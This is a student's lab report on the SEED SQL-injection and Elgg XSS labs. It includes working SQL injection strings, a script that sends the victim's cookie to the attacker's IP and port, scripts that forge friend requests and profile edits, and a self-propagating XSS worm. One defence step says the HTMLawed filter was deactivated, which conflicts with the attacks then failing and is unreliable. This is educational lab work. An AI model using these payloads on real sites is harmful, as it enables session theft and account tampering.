20212813 2021-2022-2 《网络攻防实践》实践十报告

一、实践内容

Web 应用程序(Web Application)是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如 JavaScript 等脚本语言及 HTML 等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如 Java Applet),依赖于浏览器来对应用程序进行渲染与执行。web体系结构的整体架构如下图所示:


Web应用体系结构中面临的安全威胁有:

  • 针对浏览器和终端用户的Web浏览安全威胁。具体包括以浏览器渗透攻击为核心的网页木马,Phishing 网站钓鱼等。
  • 针对传输网络的网络协议安全威胁。如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
  • 系统层安全威胁。Web站点的宿主操作系统,如 Windows Server、Linux 等,存在着远程渗透攻击和本地渗透攻击威胁。
  • Web服务器软件安全威胁。Web服务器软件如IIS、Apache作为一种典型的网络服务,也不可避免地存在着安全漏洞与弱点,攻击者可以利用这些漏洞对Web服务器实施渗透攻击,或者获取敏感信息。
  • Web 应用程序安全威胁。程序员在使用 ASP、PHP 等脚本编程语言实现 Web 应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被攻击者渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
  • Web 数据安全威胁。Web 站点中在Web应用程序后台存储的关键数据内容,以及Web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。

本次实验涉及到的两种攻击方式为:

1、SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入攻击步骤和过程主要为:

  • SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
  • 收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
  • 猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
  • 查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
  • 入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
    SQL注入攻击防范措施:
  • 使用类型安全的参数编码机制
  • 凡是来自外部的用户输入,必须进行完备检查
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
  • 加强SQL数据库服务器的配置与连接

2、XSS跨站脚本攻击

跨站脚本攻击指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。
XSS攻击类型:

  • 持久型XSS攻击,最直接的危害类型,跨站代码存储在服务器。
  • XSS反射型攻击,最普遍的类型。恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

XSS攻击防范措施 :

  • 输入验证:某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。
  • 输出编码:数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。
  • 明确指定输出的编码方式:不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。
  • 注意黑名单验证方式的局限性:仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字),很容易被XSS变种攻击绕过验证机制。
  • 警惕规范化错误:验证输入之前,必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。

二、实践过程

(一)SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
    
  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
    
  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
    
  • SQL对抗:修复上述SQL注入攻击漏洞。
    

1、熟悉SQL语句

在进行实验之前,首先使用命令sudo service apache2 start开启apache服务,可以使用sudo service apache2 status查看运行状态,同时查看Firefox浏览器是否已经添加了插件HTTP Header Live

打开终端,使用命令mysql -u root -p登录mysql数据库,使用命令show databases;查看已有的数据库,注意不要忘记;:

使用命令use Users;切换到Users数据库,之后使用命令show tables;查看Users数据库中的所有的表,使用select * from credential;sql语句可以查询该表中的所有记录:

使用select * from credential where Name = 'Alice';sql语句可以进行条件查询,查询Name为Alice的所有记录:

2、对SELECT语句的SQL注入攻击

打开浏览器,输入网址http://www.seedlabsqlinjection.com/,在/var/www/SQLInjection/目录下可以找到unsafe_home页面的源代码,使用sudo vim /var/www/SQLInjection/unsafe_home.php查看,可以找到sql语句$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";,在后面的条件中,如果我们构造的$input_uname输入值为Admin'#,则发现,因为#在sql语句中代表注释,则#之后的Password判断不会执行,则可以实现在不知道密码的情况下登陆该Web应用程序:

如下图所示,USERNAME输入Admin'#,PASSWORD保持空值,可以直接进行登录:


HTTP Header Live中可以查看到发起的请求,%23代表#

3、对UPDATE语句的SQL注入攻击

首先,我们打开Edit_Profile页面的源代码,可以看到Select查询语句,之后点击SAVE按钮后向unsafe_edit_backend_php以GET方法发送了一个表单,因此我们去查看unsafe_edit_backend_php的源代码:

unsafe_edit_backend_php中我们可以找到UPDATE更新语句,且存在SQL注入攻击漏洞,当我们构造$input_nickname的输入为', Salary='2813' where name='Admin'; #时,那么SQL语句便会将Admin的Salary更改为2813,实现通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。


攻击前后的截图如下:

攻击时,通过使用HTTP Header Live可以看到实际发起的请求:

4、修复上述SQL注入攻击漏洞

SQL注入漏洞的根本问题是无法将代码与数据分离,因为,防御SQL注入攻击最安全的方法是使用预处理语句,将SQL语句模板化,以此让程序明确知道哪一部分是输入参数,哪一部分是需要执行的动作或条件。
unsafe_home.php的源代码中,将原来的SELECT语句修改为:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

再次进行SQL注入攻击可以看到,攻击失败:

unsafe_edit_backend.php的源代码中,将原来的UPDATE语句修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

再次进行SQL注入攻击可以看到,攻击失败:

(二)SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
    
  • 弹窗显示cookie信息:将cookie信息显示。
    
  • 窃取受害者的cookies:将cookie发送给攻击者。
    
  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
    
  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
    
  • 编写XSS蠕虫。
    
  • 对抗XSS攻击。
    

Web应用程序中的部分用户信息为:

UserName Password
Admin seedelgg
Alice seedalice
Boby seedboby
Charlie seedcharlie
Samy seedsamy

在SEED Ubuntu的浏览器中进入http://www.xsslabelgg.com

1、发布恶意消息,显示警报窗口

首先使用Alice账户进行登录:

点击Alice头像进入主页->Edit profile->Brief description中输入XSS攻击代码<script> alert('xss');</script>

然后点击Save,可以看到弹出警报窗口:

2、弹窗显示cookie信息

在Alice的Brief description中输入XSS攻击代码<script> alert(document.cookie);</script>


然后点击Save,可以看到弹出窗口显示cookie信息:

3、窃取受害者的cookies

上一个实验的XSS攻击获取cookie仅仅弹到了窗口里,本次实验需要将cookie发送给攻击者。本次使用的攻击代码为<script>document.write('<img src=http://192.168.31.81:2813?c='+escape(document.cookie) + ' >');</script>,其中192.168.31.81是本机IP,2813是任意没有被占用的端口,该攻击代码将受害者(Boby)的cookie放入一个请求,然后向攻击者(Alice)发送。在Alice的Brief description中输入该代码:

登录Boby的账号:

使用nc -l 2813 -v监听端口,然后使用Boby的账号访问Alice的主页,可以收到以下请求,其中包含了Boby的cookie:

4、成为受害者的朋友

在XSS攻击之前,我们通过简单测试获取添加好友需要发送的命令。在Alice账号中找到More->Members,点击Boby的头像,打开HTTP Header Live,然后点击Add Friend,查看发送的数据:

从上图中可以得到如下的信息:

  • 请求的方式是POST
  • 请求的地址是http://www.xsslabelgg.com/action/friends/add
  • 请求地址的第一个参数是friend=
  • 请求地址的第二个参数是&__elgg_ts=
  • 请求地址的第三个参数是&__elgg_token=

因此构建的XXS攻击代码如下:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

该段代码首先获取访问者的__elgg_ts和__elgg_token,然后按照添加好友请求的方式构建了请求url,使用GET请求方法,通过send函数发送请求。将该段代码放到Alice的About me下,使用Edit HTML模式,然后点击Save:


然后登陆Boby账号,打开HTTP Header Live,访问Alice的主页,可以捕获到添加好友的请求:

之后可以看到Boby已经添加了Alice为好友:

5、修改受害者的信息

在攻击之前,先简单将Alice的About me修改为20212813ZZX,并使用HTTP Header Live捕获数据包,查看发送的数据:

从上图中可以得到如下的信息:

  • 请求的方式是POST
  • 请求的地址是http://www.xsslabelgg.com/action/profile/edit
  • POST提交的数据分别为:__elgg_token__elgg_tsnamedescription

使用的XSS攻击代码为:

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

该段代码首先获取访问者的__elgg_ts、__elgg_token和页面的其他信息,然后按照相应方式构建了请求url,使用POST请求方法,通过send函数发送请求。将该段代码放到Alice的About me下,使用Edit HTML模式,然后点击Save:

然后登陆Boby账号,打开HTTP Header Live,访问Alice的主页,可以捕获到修改About me的请求:

可以看到Boby的About me已经被修改:

6、编写XSS蠕虫

之前使用的XSS攻击代码只能攻击,但是不具有传播性,因此我们使用以下XSS蠕虫代码:

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

将上述代码放到Alice的About me中,点击Save:

登陆Boby账号,访问Alice的主页之后可以看到Boby的主页被感染了该蠕虫:


7、对抗XSS攻击

可以使用内建的安全插件HTMLawed禁止部分代码块的执行。登录Admin账号,点击Account->Administrator->plugins,找到插件HTMLawed,并使其Deactivate。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

之后再次进行XSS攻击测试,可以发现均已无效:

三、学习中遇到的问题及解决

  • 问题1:新版SEED Ubuntu没有环境
  • 问题1解决方案:
    最新版SEED VM可以在这里下载
    下载之后得到的是一个.vdi文件,可以参考这篇博客将vdi文件转化为vmdk,然后在VMware里进行安装。

    但是安装好之后发现新版SEED Ubuntu中没有安装好可以用来直接进行实验的环境,因此只能使用旧版本的SEED Ubuntu。

四、实践总结

本次实践动手操作了SQL注入和XSS攻击,基本了解了这两种攻击的原理,操作步骤,可能造成的危害以及一般防范方式,这对于提高网络攻防技能以及更好的开发WEB应用打下了基础。

posted @ 2022-05-17 21:42  z十夜  阅读(127)  评论(0编辑  收藏  举报